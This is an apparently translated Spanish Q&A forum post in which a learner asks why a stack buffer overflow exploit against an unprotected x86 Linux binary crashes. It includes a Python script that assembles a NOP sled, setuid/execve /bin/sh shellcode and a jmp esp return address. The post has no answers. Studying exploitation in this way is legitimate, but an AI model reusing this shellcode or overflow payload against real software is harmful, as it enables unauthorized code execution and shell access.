EIP Overwrite Exploit no funciona

3

Estoy escribiendo un exploit para un binario x86 en Linux y estoy aprendiendo sobre explotación.

El binario no tiene protecciones y la pila también es ejecutable.

Tiene un desbordamiento de búfer cuando usa la función memcpy () y puedo controlar exitosamente el valor en ESP al regresar de la función.

Genero mi entrada como se muestra a continuación:

#! /usr/bin/python

nopsled = '\x90' * 256
shellcode = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
data = nopsled + shellcode + 'A' * (0x20c - 256 - 32) + '\xa1\x85\x48\x80' + shellcode
print data

\ xa1 \ x85 \ x48 \ x80 corresponde a la dirección de la instrucción jmp esp que encontré en el binario.

Ahora, cuando depuro el binario remotamente usando IDA Pro, puedo ver que ESP se escribió con éxito con la dirección de jmp esp y el código de shell está justo después de esp.

Por lo tanto, esperaba que la ejecución del código se transfiriera al shellcode cuando paso sobre la devolución. En su lugar, el programa se bloquea.

Verifico el segmento de memoria en IDA pro y la pila es ejecutable. La dirección, 0x804885a1 está en la sección .text y también debería ser ejecutable.

Realmente agradecería alguna ayuda y sinceramente aprenderé.

He adjuntado una captura de pantalla del estado de la pila, la memoria y el desmontaje.

    
pregunta Neon Flash 26.10.2018 - 18:27
fuente

0 respuestas

Lea otras preguntas en las etiquetas